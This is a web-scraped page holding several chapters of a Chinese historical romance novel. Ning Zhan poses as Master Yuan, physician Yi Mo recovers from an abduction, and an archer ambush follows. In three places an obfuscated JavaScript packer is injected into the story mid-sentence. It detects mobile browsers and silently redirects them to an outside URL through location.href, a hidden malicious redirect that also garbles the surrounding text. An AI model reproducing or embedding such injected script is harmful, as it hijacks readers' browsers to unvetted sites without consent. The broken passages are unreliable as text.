宁展未应，景以承倒是自来相熟，径直扶住了宁展手臂，郑重其辞：“鄙人听闻，是公子亲身走险，率众登了阴山寻回神医，真真是我们景安的大恩人。不知恩公尊姓？可否容许景某移步房中，代大伙儿探望墨郎中安好？” 宁展客气地拍了拍景以承右肩，顺势将其引回椅侧，安慰人入了座。 他端着嘉宁大殿下的翩翩之态，平和道：“免贵姓元，景公子所言一事不过举手之劳。公子也不必忧心，墨郎中已无大碍，只不知是否有余力出面会客。” “此话当真？”景以承登时睁大双眼。 宁展窃喜，只以为这难缠的主儿听他一面之辞便就此打消主意，预备摆道回府了，于是颔首默认。他抬手要送客，不意对方蓦地起身，似是费了吃奶的劲按定他肩头。 “公子姓元？”景以承晃着宁展的肩，“汴亭元氏的元？” 宁展警惕地开口：“嗯......” “上邪呀！如此甚好、如此甚好！元家世代书香、门下群贤毕集，鄙人是早有耳闻的。若有幸结识元兄，景某定能日就月将、学有所成，今后效力民生、鞠躬尽瘁。还望元兄勿嫌鄙人天资不足，”景以承激动道，“给景某一个机会！” ......嗯？ 宁展算是见识到景以承言出必惊的本事了，至少在他面前是这样。谁料这景阔佬是盯上了元氏早已不比往昔的清名，说什么也要请他入宫喝茶，死活不肯罢手。 宁展脸上挂笑，手上暗暗推脱。 二位公子哥驴子拉磨般的戏码逗得墙角那位前俯后合。 宁佳与偷着乐了半晌，到底没藏住声儿，捧腹而出。 两人动作一停，循声探去。 宁佳与束衣修身，右手掩口胡卢，左手托着吃剩半盏的含桃冰酪，肘子又忙着去按笑得几至发颤的小腹。如此，既没了放达不羁，又称不上忸怩腼腆，整个人矛盾一体。 好一阵，她才迎着两束灼灼目光，勉强正色道：“二位见笑了。” “不过，这位元——”宁佳与鬼头鬼脑，打量宁展，“公子？还真是德才兼备、善与人交啊。不论男女老少，皆视您为良师益友呢。” 宁展握紧拳头，隐忍道：“你放......” “放什么？”宁佳与不怀好意地笑，“放哪儿？” 宁展别过脸去，没让景以承瞧见火气，切齿道：“与姑娘放心，元某必当不忘旧故，事事，念、着、你、的。” 宁佳与随手搁下冰酪，道：“那感情好——” “承仁君。”以宁纵步而来，打断道，“家姊有请。” 三人齐齐敛息，紧随以宁往厢房去。 家姊，是指墨郎中？可她日前看到的墨郎中，分明是公子家装束。况且，一个貌似姓以，一个姓墨，怎的就成了一家人？宁佳与边走，边盯着自己靴面的泥点子寻思。 宁展冷不丁驻足，蹑影追风似的宁佳与迎头撞上他背脊。 宁展回首低斥：“人家请承仁君，你跟过来作甚？” 宁佳与不揪不睬，捂着脑门绕道。然而宁展横拦竖挡，硬是将她堵在原处。 “墨郎中不认得我，就是想请，也没法请呀。我若不去，人家又从何认识我呢？再者说，墨郎中请与不请，也不由元、公、子，”宁佳与煞有介事，“来管。” 宁展毫不听她诡辩，仿若佛像立地，面不改色地坐视居心不净之人寸步难行。 “喔唷！这不是柳姑娘吗，”宁佳与说着便向宁展身后作揖，“在下有礼了。” 宁展闻言蹙眉，侧首只见身后空无一人，面前随即闪过虚影。 就说那累教不改的野狐狸缘何执起礼了！宁展悻悻，一时不知放跑的是狐狸还是泥鱼儿。 宁展赶到厢房，以宁正扶起以墨，景以承和宁佳与距床榻甚远。 宁佳与同以墨不熟，疏远些无可厚非，可这宣称到此探望故人的承仁君却是为哪般？ “近来因我一人之私，劳大家费心伤神了。以墨在此谢过关照，也给大家赔个不是。”以墨颔首俯身，慢声细语，“终归是我没能将个人恩怨善处，引得人荒马乱，抱歉。” 话音即落，景以承忙道：“哪里哪里，墨郎中言重了。若非您悬壶济世、广收门徒，这偌大景安如何能够消解兵灾、面貌一新？臣民们日日感念以氏再生之德，是以听闻您获救，无不快慰，又担心扰您养息，故由景某独自前来，代众探访。” 景以承一番话累累如珠，生怕自己未能一气言明来意，被人撵出门去。 他接着添补：“此事究其根本，实是咱们景安防守不济，我也难辞其咎，竟让人万目睽睽之下将墨姐姐劫了去。待我随元公子学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679216|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成归来，必会向父王献上新修景安典章的万全良策。” ...... 原先几人权当他是没头没脑地搅浑水，便任由这位景安二殿下胡诌八扯，岂料一发不可收拾。现下不只宁展，可谓四座皆惊。 以宁惊他过去四年对阿姊不闻不问，怎的还有脸再唤以墨一声姐姐。 以墨惊阔别数载，执迷不悟的学生忽然情愿收敛心性、从师修学，且胸中保怀四方大志。 宁展则惊这流连赌场的阔佬儿，往后莫不是真要如牛皮糖一般跟着自己？ 宁佳与却是惊于坊间无不知其乃男儿身的墨郎中，竟真是位姑娘。 “——你？” 以宁猝然健步驰突，冲向景以承，脸色森冷非常。他猛提臂拽起景以承的前襟，逮耗子一样将人拎至墙角。 “你这不识好歹的，再不准这般唤我阿姊。你不配。” 景以承近年来的确杜门不出、销声匿迹，却不是荒度年华，亦不曾怠慢以墨昔年倾注心血为他拟定的课业。怎奈他出关时，以墨已挂冠而去，他身为以氏首位外传弟子，如何朝夕不倦，也无处与人说道了。 洗心革面久已的景以承想叫屈，出口却成了磕磕巴巴的斗嘴：“可你、你这时常不知归乡探视胞姐的小弟，较、较本君而言，又好到哪儿去？！” “阿宁......”以墨道，“不得对承仁君无礼。” 以宁不情不愿放下景以承，随手将人衣襟拍齐整，引得景以承一阵猛咳。 不待景以承缓过气儿来，以墨紧着道：“依承仁君所言，若民女于景安真有一得之功，那么向以氏施以援手的救命恩人——元氏，更该尊为元勋。以家蒙恩，世代守护元氏子孙相报，阿宁护卫嘉宁大殿下，责有攸归。他不若承仁君此前诸般清闲，抽不出空来探视民女，正说明他有担当、大无私。 “他哪里不好？” 景以承闭关时反复啃过许多典籍，史书也不例外。景安、以氏、元氏的沿革，他自不陌生，此刻却被墨郎中一席话噎得语塞。 - 琛惠二十一年，坊间喜讯风传，道墨川将门韩氏出了位才兼文武的探花郎，此人名为韩宋。 琛惠二十二年，“凭韩宋走笔成章、用兵如神云云通才，徉王一力保举韩宋兼任太师、元帅两大要职，反心昭昭”的传闻流散至七州各处。琛惠帝诏谕其余六州未雨绸缪，整军经武。 彼时的墨川徉王本就对琛惠帝积怨已久，得闻此讯，应时调兵遣将，却未即刻出师。延滞数月，待到琛惠二十三年春，方才大举挥兵，攻入嘉宁城。 墨川与嘉宁原有直行通途，然战火连天、兵连祸结，双方连年厮杀，不免波及两州另一通道上的交汇地界——景州。 累世学医、务农的景州散兵力不能支，景州至此沦陷，景安王城尤为惨烈。 以氏医术誉满天下，医馆遍布四方，救死扶危，却是一脉相承，秘不外宣。因此，面对满城碎瓦颓垣，及与日翻升的伤亡，莫说神医，纵使天仙下凡也有心无力。 以氏家主万念俱灰之际，恰逢赶车途经景安的元家小娘子。 元叶。 11. 元祯 元氏车马虽不比豪门巨室阔气，一瞧也知是大家望族，却挑在如此兵荒马乱的时节出游，教人看不明白。 几十人的队列在医馆边上歇脚整顿，遣来一名侍从借水。家主俨如抓住救命稻草，急忙将其领入里屋。 “民女以向芸，不知贵人往哪儿去，但恳求您将我那未满周岁的幼子带上。阿行他伶俐乖顺，不爱哭闹。只要是他能吞下的吃食，哪怕残羹冷饭，给两口就成。” 以向芸说着先端来一碗清水，再回身拾起一叠各有折拢的书本，捧在身前，由腹部往上，近乎挡全了自己的眉目。她打着微颤，双手呈送。 “这是我们以家代代相传的宝物。若贵人愿与小儿一线生机，这些医书古籍，便......随您处置了......” 寥寥数语，她已泪眼婆娑。 医馆内挂着许多溅血的布帘，众人不附和家主的话，只拨帘向数月来唯一的希望下跪。侍从看到了遮掩后头不堪负担的病榻，上边摆着生死不明的肉身。 他们已然不成人形。 以家祖辈克勤克俭，只为济困扶危。 以向芸不似簪缨闺秀妍雅，却是不卑不亢，择善而行。二十出头的年岁，指腹、骨节尽见粗茧，她埋下头，两手不停擦拭着滴上泪珠的封皮，反复将那卷了边儿的纸页抚平。 侍从不敢做主，遂没接书本和碗，忙不迭回返，把原话一五一十传告元叶。 且不论以氏医馆贤名在外，元叶博通经籍，早年便拜读过市肆流传的以氏医书。尽管并非真迹，乃旁人照猫画虎编撰所得，却也囊括诸多令她叹为观止的珍知。 摹本尚如此，遑论原作。 元叶闻讯而来，坚持要将医馆内的以家人一并带走。元家此行确不乏车马，让以家幸存的十几口人随行绰然有余。 以向芸深感上苍悲悯，竟在风尘之变中为以家引来了百不一遇的真善人。她婉言谢却元叶，而后高声疾呼着烂熟于心的口令。 “急袭！噤声！” 医馆乃至周遭的铺子即刻传出招呼、堵门、飞跑的响动，细听，或有压抑的呜咽。 以向芸切迫催促侍从将元叶送回舆内，她则蹒跚去向里间，抱出仅十一个月大的婴孩，即是以宁、以墨的生父，以钟行。 元家带人驶离景安时，以向芸尚未及为小儿定名，只是阿行、阿行地唤他。 咿呀乳儿不记事，以向芸仍不愿给阿行留下泪干肠断的最后一眼。 她拭净面颊的泪，托起幼子和裹好的医书。元家老嬷掀了车帘，接过沉甸甸来。 不止是婴孩和纸张的轻重。 原虚握阿行手中的小鼓倏尔动了，溜圆的肉拳头攥着鼓槌，不知费了多大气力，鼓身堪堪斜起，鼓侧坠的耳朵一左一右摇起来。 咚隆，咚隆，敲在人心上。 软缎帷帘随着微弱的鼓音，徐徐垂坠。 车夫扬绳启行，元叶撩开窗幔回首吆唤。 “姐姐！您当真不走了吗？” 以向芸摇摇头，抬手挥别元家车马，破颜为笑。 即或身后碎砾残瓦频频扑落，甚且断柱颓垣崩塌无休，她粲然依旧。恍如过去意气正高，立誓要凭以氏医术救天下于将倾的二八女娘。 她以向芸，力学笃行，家成业就，不负自己；行医修好，阐扬仁术，不负家国。便是九死一生，她也绝不弃同族和这一方乡土而去，无愧于心。 鼓音渐远，以向芸耳畔犹有沸天震地般的动荡。 阵阵轰隆，却再不是因身后的坍垮而喧噪。 是擂鼓鸣金，是扬旗叫阵，是兴师动众。 击鼓而攻，又一轮硝烟炮雨。 是景安这寂寞枯城不可逆的死局，是众人死无葬身之所的预示。 - 几人哑然之际，宁佳与不禁发问：“墨郎中，你可知前日是何人将你劫了去？若不能查明此事，日后恐成隐患。” 以墨瞧宁佳与一身束衣，尽管形制与青竹阁隐士不同，也大抵可以料想宁佳与的位置。她思忖片刻，如实道：“应是墨川大殿下。” “墨川大殿下？”以宁纳闷道，“阿姊如何肯定？” “我认得他。”以墨道，“随承仁君赴七州大典时与他打过照面。他将我带走那日，还佩着少君腰牌。” “墨珩那厮竟亲自来了一趟景安？”宁展听到这儿也有些诧异，心道墨珩还真是个不怕死的怪人。 宁展这位表弟太好懂了。于墨珩而言，遇刺事小，不能昼夜歪在他那富丽堂皇的大殿上寻欢作乐事大。 景安有什么样的稀罕物，劳得动花太岁摆驾？ 房中陷入静默，宁展接着问以墨：“墨珩将你带走后，有何所求？” 景以承见适才斯文腼腆的元公子每每直呼少君名讳，不可谓不无礼，他小心缩回墙角。 同为少君，他是不大在意旁人对自己如此，甚至巴不得人家能叫出自己近乎被世人遗忘的名姓，却得重新合计是否还要坚持随元公子修学了。 “墨大殿下原先不知民女乃女子之身，打算将我绑去墨川。他揭破乔装后，自称要三书六礼娶我回宫，我并未应承，便被他的人拘在房中，不得已吸入迷烟。”以墨回忆道，“再醒过来，眼前就是此处了。” 屋内几位正对墨珩的行事百思不解，门外忽而传来细石滚落的响动。 “谁在那。”宁展严声问，顺手抄起前桌盛药的空盏，全力朝着窗纸上的人影摔去。 碎瓦穿纸砸地，门外之人似是舒了口气，提步拐进屋。 宁展眉头一蹙，目视柳氏挂笑而来。 宁佳与瞥了眼宁展的反应，打趣道：“呵呵，竟真是柳姑娘。如此说来，我方才倒未曾看花眼。” 闻此戏言，宁展愈发觉得烦乱，不待柳氏应答，沉着脸道：“出去。” 柳氏只得吞声，一副可怜见的模样，轻手蹑脚出了屋。 宁展扭过头，直勾勾盯着兀自诡笑的宁佳与，神色如霜，眼里则明晃晃就写着“你也一样”。 宁佳与老大不乐意地敛了笑，欲谑宁展一通再走。然余光见其余几人接连看来，她单朝宁展干哼一声，算是下了战书。 “可昨夜我们寻到山中时，阿姊好端端在那儿，从头到脚几无伤处。据我所知，墨珩镇日里——”以宁握拳捶桌，恨声道，“他绝不是什的惜玉怜香之人！这小贼假借挟持阿姊一事掀风鼓浪，必定另有所图。” “还有一事。”宁展对以宁道，“柳氏虽是因着悬赏找上门，但你素来不是病急乱投医的，为何对她那般笃信不疑？” 打从十一岁起，以宁便出入暗阁听讲、跟练，习以成性，故而常备不懈。宁展清楚，即使面临关乎至亲之事，他亦不会自乱阵脚。 “柳氏，名如殷。属下与她只一面之缘，但她曾有恩于属下；且阁里查了，柳氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679217|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长居景安，与三大暗阁的暗桩均无交集，想来......” 以宁实话实说，却不抬头，好比嘉宁书塾中受罚听训的糊涂虫。 但他其实知道自己错在哪里。 青竹阁本事再大，也没法将迎柳、听雪设于景安的暗桩查得一清二楚，迎柳、听雪对青竹阁亦是如此。所谓与柳如殷无交集的暗桩，指的仅是青竹阁这些年一步步探明的那些驻点。 宁展也明白他知了错，不再多加数落。毕竟以氏祖训如此。 琛惠二十四年，嘉宁、墨川、景安三地战火纷飞。 胜友如云的清流世家——汴亭元氏，忽然杜门却扫，家中年仅十五的元小娘子领着大队人马毅然投效墨川，疑有趋炎附势之嫌。此举引得大批文人学士一时对元家冷语不断，更则唾弃而远之。 元叶独自携家仆远赴墨川已是不易，却仍在途经景安时捎上了尚在襁褓的婴孩，令以氏医术免于失传。 琛惠三十六年，两州较劲十三年的车轮混战终于到头。 元叶依着“阿行”二字，为以氏遗孤定名以钟行。以钟行自小随元家家仆服侍元叶跟前，后娶妻生子，成为元太后宫中副掌事。 嘉墨七年，元叶之女与嘉宁善王得长子宁展。将满周岁的以宁奉着自己压根听不明白的父母之命，伴宁展同回嘉宁，至此与亲人分隔两地。 以钟行无条件托出幼子，即如以宁无条件听信柳如殷一般。 举手之恩，舍身为报。 景以承在边上似懂非懂地听着，以墨乏得阖眼，宁展一同往常负手沉思，倒像这三人心照不宣封了口，谁都不追问以宁。 - 池月东升，该回宫的回宫，该煎药的煎药。而早该被呛的那位，自也躲不过。 “元公子！” 宁展只当那是耳旁风。 “元兄！”宁佳与仿着景以承的口吻，追上来，“元兄？” 宁展加紧步伐。 “元祯！”宁佳与不追了。 宁展自觉回去找人麻烦。他停在宁佳与面前，把人盯了又盯，像重新审视，更像杀心萌动。 宁佳与颇为得意，看着咬钩的大鱼，再唤：“元祯？” “你如何得知我的表字？” 嘉宁大殿下，姓宁，名展，字元祯。 然知晓“元祯”的人极少，不过宁馨、墨司琴、元叶而已。就是他生父宁善，亦然不知。 宁展冷不丁往宁佳与那边一靠，她同时撤步，笑道：“我？猜的咯！” “狐仙大人不但能续命。”宁展步步紧逼，“还能掐会算？” “那是。在下何等头脑，公子今日才晓得？当是千真万实、毋庸置疑......”宁佳与反手扶墙，身子越后仰，声音越小，“货真价实、真刀真枪......” 宁展整个影子笼着宁佳与，欺身道：“你觉着我信吗。” 宁佳与被廊上的灯笼晃了眼，浑然忘了自己要寻宁展说道什么。她麻利一钻，出了包围圈，拔腿就跑。 此女嘴里没有半字实话，她若真是个无礼的江湖散士倒也罢。而今看来，莫非与王室也有牵扯？宁展深深望着宁佳与的背影。 宁佳与在自个儿屋内躲人，饭香四溢时也闭门不出，房中饥肠雷动。幸而荷包里时常备着含桃，待她垫补个半饱，就水咽了药丸，躺回床上看着屋顶打愣。 不觉间，酣然入眠。 12. 迎柳 墨川迎柳殿，高朋满座。 举目扫去，席上若非朝廷重臣，便是膏腴子弟。华堂歌长粉面红，花艳雾香，燕舞莺嘤。众人如常酣歌醉舞，若蜂狂蝶乱，彻夜快活。 墨珩架着右腿，居高侧卧，纵览满堂香艳、肉林酒池，座下围拥的陪侍无不秀媚。 素手递上果肉，他细细品味，才阖上眼，旁侧捶腿、捏肩的娇娘一时尽数撤空。墨珩皱起眉要发作，忽而一捧柔软跌入怀里。 他并未睁眼，嗅得芬芳扑鼻，便笑了。 墨珩平素偏好华冠丽服，身上金镶玉裹，与浸淫赌坊的土阔佬景以承皆显铜臭，个中却大有不同。 穿戴，是专供贵戚权门的软丝缎、浮光锦；玩器，是式样全七州独一份的琉璃明花盏、和田羊脂玉。 他要奇珍，以及尤物。 得他垂青的女娘，非花枝招颤、浓香艳抹那千娇百媚的颜色不可。这怀中面覆薄纱之人，最是懂他。 “怎的。”墨珩似轻似重地揉捏女子右肩，“一声不响便回来了？” 女子手指点上墨珩胸膛，娇嗔道：“难道殿下不挂念奴家吗？” 墨珩缓缓睁了眼，挑起女子下巴，道：“瞎想。” “阿珩，为何她们都说......”女子拨动墨珩大敞的衣襟，“你要娶那景安的小郎中？” 墨珩闻言神色不虞。 他瞥一眼席间快活得无暇旁顾的色迷酒鬼，方才叮咛般对女子道：“胡说。柒儿，我先前交代过，如此称谓，乃你我二人独享之乐，不得在外言说。这便是最后一回，记着了，娘子？” 女子默默起身，替墨珩把酒，一笑了之。 诚如墨珩所言，什的“阿珩”“娘子”，俱存于闺房之欢。公子未娶，婢子未嫁，二人止于酩酊大醉后的山盟海约，仅此而已。 待显贵们纵足人欲散去，已是丑初三刻。偌大金殿，墨珩独醒，坐等人来。 满堂灯火灭了，令人难以看清来者容貌，只见衣装利落。话音平和如水，听着甚至男女莫辨。 “殿下，宁展近卫现已在景安。但青竹阁不知何时来了个元姓主事，十分可疑。” “元姓？”墨珩迟疑道，“宁展人呢？” “尚无音讯，嘉宁城内不见其踪。” “元姓。以家的跟屁虫不可能单凭胞姐安危不明，就轻易离开嘉宁、离开宁展。要么，是宁展命他去景安；要么——” 墨珩嗤笑着，随手斟了杯水，递与身边人。 “是宁展也去了景安。” 那人接过杯盏饮尽，道：“殿下说的是。元氏身上确有青竹掌阁令牌，属下原猜想他便是宁展，可二者样貌相去甚远。” “这有何稀奇？我那老顽固祖母说什么也不肯将易容术全盘托出，背地里，怕是早早将此术交与她的宝贝外孙了。分明是我墨川的东西，祖父生前非要偏着那元氏一族。如今倒好。” 墨珩愈说愈恼火，夺过杯盏，猛朝原先歌妓吹叶嚼蕊的地方砸去。 “全教外人占了便宜！” 杯盏闷声落在绒毯之上，完好无缺。 “不管那元氏究竟是不是宁展，立即将嘉宁世子抵达景安的风声散出去。这样大的好消息，该让全七州都听听才是。另外，”墨珩狠狠望着殿门外的树影，“把那主从二人盯紧了！” “是，属下告退。” “等等。”墨珩叫住那人的脚步，“你过来。” 那人稳步折回，墨珩扯其手腕浅嗅，末了道：“墨司齐今日又饮补阳的猪尾汤了？” “是。” “喝不死他！”墨珩甩开手腕，将火气全撒在那人身上，又是怒吼：“成天为着群卑贱的舞女补这补那，他怎么还不死在床上！” 那人却平和依旧，问：“是否需要属下从旁相劝。” “你是本君的人，本君在他面前尚且没有说话的份。”墨珩斜了那人一眼，“你劝管个屁用！还是同往常一样，药材换成黑茶，只留猪尾。做仔细些，别教那老东西觉察了。” “是。” 天光大亮，歇在墨珩偏殿的酒色之徒似风流云散。迎柳殿四旁尽是峻宇雕墙，飞天仕女与长蛇封豕失了午夜的金烛辉映，死静如灰。 - 以宁连日起早贪黑，既要顾着阿姊，又要监视宁佳与。晨起头等大事，便是敲开宁展的房门，例行禀报。 “公子，与姑娘昨日仍是只去了冰酪铺子。还有每天不变，传信与她师父问安。” 宁展亦是数日如一，谈“与”色变。 “传信传信，从未见过闲话如此多的女子。镇日捧着她那碗冰碴子到处晃，也不知自发来同上官述职。碍着人情将她留下，倒是我失策了。” 以宁是对宁佳与心有芥蒂不错，却也实有不解。 阁中无论男女，宁展不说以礼相待，至少是公事公办。然到了宁佳与身上，人情一私，态度再一私。 宁展结识宁佳与之后，以宁甚至觉得十年来水波不兴的殿下脾性都躁了不少，偶尔却又多出些无端的耐心。 以宁瞧着宁展的背影和那双紧握的拳，恂恂试探：“那，属下即刻将其除名？” 宁展半晌不作声，像在沉思。 “殿下？” “嗯，不忙，且往后看。那般身手，若送出去让迎柳阁捡了，”宁展回过身，“岂不冤枉么？” 冤枉......吗？可若留下，还不知是福是祸。以宁欲言又止。 宁展见以宁似有异议，接着添补：“墨珩就好收女隐士。” “公子言之有理。”以宁道。 “尤其是模样出众的小姑娘。墨郎中一事已将人牵扯进来，墨珩很快会注意到她的存在。她那同思思一般大的年岁，即便不入迎柳阁，”宁展面色严峻，“恐也难逃墨珩魔爪。” 以宁不作无用的提醒，毫不提是谁前一刻还说宁佳与身手了得，后一刻便说宁佳与连墨珩那样不够看的拳脚都难以应对，只道：“公子英明。” “若无他事。”宁展欣慰地拍了拍以宁，“你是不是该去替墨郎中煎药了？” “是。”以宁拱手告退。 以墨清楚自身并无大碍，说破天去，也就是昏迷时在岩穴中待太久，受些春寒罢了。 可如何有威望的大夫，也架不住一个咬定她病体未愈、坚持督促她服药的小弟。每帖药再冠上个“嘉宁世子亲赠”的名头，硬生生将擦破点儿皮的伤情，养成眼下这副伤筋动骨一百日的架势。 想着小弟同自己分别几载，许是关心则乱，以墨便由着以宁瞎忙活。横竖依她的现状，适当用些补药也无妨。 谁承想以宁不仅缠着她服药，医馆也不让她去，生怕她积劳成病或是外出遇劫。 一连七日无事可做的以墨终于闲不住了，任以宁讲什么道理，她今次好歹要去医馆走两圈。 以宁败下阵，只好向宁展告假，追到以氏医馆当门神方才安心。 宁展得知以墨外出，心里拨起算盘。有人一开始便打上以墨的主意，眼下没得着好处，自不会善罢甘休。 他换了套靛白相间的箭袖轻衫，藏蓝绑带束发，脑后玄青瀑布也似，高高垂落。负剑迈步城中，一身轻松逍遥，真浑如哪家逃了射御，翻墙出来耍剑的公子哥。 湖滨尽是潇潇雨夜打落的残枝柳絮，丛间可见宁馨钟爱的花贼上下飞，长街亦见结队的小童嬉闹追。 公子哥学着野狐狸往日的散漫，扬起适才随手买的纸扇，跟那群小鬼经过简陋的茶亭、生意不甚景气的水粉行和酒家，及相较之下热闹熙攘的冰酪铺子。 再往前一段便是以氏医馆。 宁展挤进冰酪铺，左顾右盼，摸了张小桌入座。在宁佳与眼里，这哪儿是什的少年公子，简直像个吃不饱饭的惯偷。 季春渐至，此际丽日当空，吃冰的客人有增无已。 宁展窥察一阵，却发现大家碗里盛的不是宁佳与隔三差五端在手上的冰酪，而是大块大块的冰坨。除了冻得发白，再无颜色，更没滋味。 樵夫边饮凉水，边等冰坨化作可以入口的大小，含在口中，弓腰拾掇脚边的柴草。 劳工等冰化尽了，将冒烟的水灌进腰上别的羊皮袋里，舍不得先饮半口，丢下铜板便往外赶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679218|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屠夫则用粗布包住冰坨，掐紧了布口，抡锤那般往地上砸。砸至大小不一的碎块，与同伴对坐扯闲，拿碎冰当清甜的脆枣，嚼得嘎嘣响，反复咂摸。 宁展照顾过因洪涝早失怙恃的破烂小孩儿，接济过因饥荒瘦得只剩一把骨头的老人家。他总是站在惨绝人寰的苦境施粥米，鲜少能坐在平头百姓中间听人话家常。 那些带着色香味的冰酪卖不了几份，但这里并不悲惨，甚至可说安居乐业。 他握着银子，怎么也叫不出，他要一碗梅子冰酪。 宁展纠结再三，抬眼却对上某个熟悉的身影。这回冒着日头，他仍看得真切。 果然是女子。 街市雀喧鸠聚，压根无人留心屋脊趴着位背弓负箭的姑娘。 宁展倒想好生会会她，然许久不见那人有活动之势，于是十分浮夸地抖搂纸扇打风。 他仰起头，毫不遮掩，直视屋脊。 那人足够敏锐，近乎同时与宁展对上视线。她快步开逃，宁展拔腿紧追。 沿街，数记冷箭朝宁展脚下袭来。众人见状慌乱四散，有人闭店躲祸，有人挡护孩童，有人奔向府衙报官。 不多时，二人行至僻巷。宁展眯起眼打量那斗笠下的眉目，有意放缓步子去接簌簌猛攻的弩箭。 孰知连“叮！”三声，右侧银光扫来，一举截下三支疾箭。 宁佳与不忙请功，拽上宁展的腕子接着追逼那女子。 “你！”宁展被惊得语无伦次，“你——” 宁佳与一手把着银骨扇，一手拖扯宁展狂奔，嘴上还要说和：“我放肆我放肆，这可不是挑错处的时候！” 宁展忿恨作罢，回眸却是利箭迎面，不过是迎着宁佳与去的。 他脑海白茫一片，未及思索，已转身挡在人前。右肩如他所料，瞬间刺入尖利之物破皮嵌肉的疼痛。 追着射箭女子跑过数条街巷，宁展早是大汗涔涔。这毫无防备的一挡，宁佳与差点儿与他撞个血汗交融。 片刻停滞，二人迫在毫厘。宁展原先束于脑后的长发随转身打回前胸，盖住一边烫红的耳廓。 宁佳与直截将宁展推进小道，自己起手开扇，掌心控柄，快速旋动扇面，打下接踵而至的数支弩箭。她定睛确认那人远远逃去，才走近察看宁展伤势。 幸而这回箭上无毒，宁展的脸色显然比前番可观。 可两人手边拿不出便宜包扎的东西，宁佳与垂眸看了看自己心爱的红衣，再瞧宁展崭新的轻衫，是一块布也不好撕。她并不偏颇自己，干脆决计回去再给宁展处理。 若是放在昨日，宁佳与定不会替大财主可惜衣裳，堂堂世子，何所不有？只是今日这身轻衫——衬得世子甚是俏逸！ 宁展适间被摔得骨头疼，现下被瞧得浑身不自在，拿不准宁佳与又在盘算什的鬼点子。 他侧过身，盯着墙根为自己抱不平：“我说与姑娘，我替你挡下一箭，便是连一块布也不值吗？那你镇日挂在嘴边的礼尚往来，又算什么？” “算我嘴甜。” “你——” “先不谈我学没学会礼尚往来。我倒想请教殿下，”宁佳与抬手打断宁展，“是哪位名师教您用肉身替人挡箭的？莫非殿下竟不知，从古至今，因以肉身挡箭而故者，皆是被自己蠢死的吗？” 巧了，他还真听过这门学问。 宁展七岁那年，韩太师驾临州学[1]答疑解惑，有同窗问及，战火中那些因以身为友军、至亲、挚爱、甚至陌路当肉盾而殒命之人的抉择是否正确。不待韩太师言语，他便要气绝了。 换作他，人，他要救，但不该是这样既愚拙又惨不忍睹的法子。 他不是瞧不上选择这法子的人，只是想为此种情境下得救的那位叫屈：分明是将人拉回或推开便迎刃可解的题，再不济逃得狼狈些，何至于此？ 韩太师的回答很是简洁，宁展记得。 但面对宁佳与，他不想承认，于是道：“......不知。” 他不知自己为何忽然犯蠢，还是因着一个非友非亲，更不可能是此生挚爱的姑娘。 13. 天选 斜阳半西山，宁佳与再度搀起负伤的宁展。 没了上回的快马一鞭，二人只得一路脚高步低，趔趄而行。走着，她发觉肩上的人越来越重，像是昏迷不省。 “殿下？”宁佳与轻声唤。 无人应答。 宁佳与偏头看他，不知宁展何时将眼也阖了，再唤：“元公子？” 未等来宁展开口，却是等来了人言啧啧。 一副姑娘家未出阁的样貌，出门在外不戴帷帽便罢，竟当街与男子勾肩搭背、耳鬓厮磨。 见了，老翁佝偻着指指点点；背着婴孩卖菜的妇人无奈摇头，不忍直视；因赊账被龟婆[1]打上街的粗汉原咒天骂地，后不怀好意地朝宁佳与挤眉弄眼。 宁佳与一应置若无物，伸手去探宁展的鼻息。 宁展睁眼按下宁佳与的腕子，睨着粗汉，道：“让开。” 粗汗浑身酒气，不服地扬起下巴，口齿不清：“我、我，凭啥，让、让——” 宁展手里攥着折断的半截弩箭，末端木屑四岔。他指向粗汉，低沉道：“想活命，就让开。” 宁佳与瞧宁展即便摘了嘉宁世子的脸，也闷着一腔火气不得发，不禁好笑又同情。 粗汉不信邪，整个人直往那参差不齐的尖端上撞，赌她肩头柔弱的小白脸没胆不收手。宁佳与不坐这赌局的庄，抬脚将人踹远了去。 周遭无不噤声退避。 宁展似是无力多顾，重新压回脑袋，垂下断箭。 宁佳与目视前方，边走边问：“你适才为何在那女子箭下自卖破绽？” 宁展脚步一顿，诧于宁佳与跟了他多久，如此细枝末节也看得一清二楚；更恼于宁佳与明知他是有意为之，还多余插手挡箭。 “那人我瞧着眼熟，不是我认识她，便是她认识我。若卖她好处，她也许会靠近补刀，或从我身上顺走些物什。届时......” 宁展幽怨地瞥了宁佳与腰间的银骨扇，硌得他肉疼。 “方可将其拿下。” 宁佳与并非不明白这计策，而依宁展此前的境遇来看，她不得不质疑，宁展与对方近战到底是谁拿下谁。 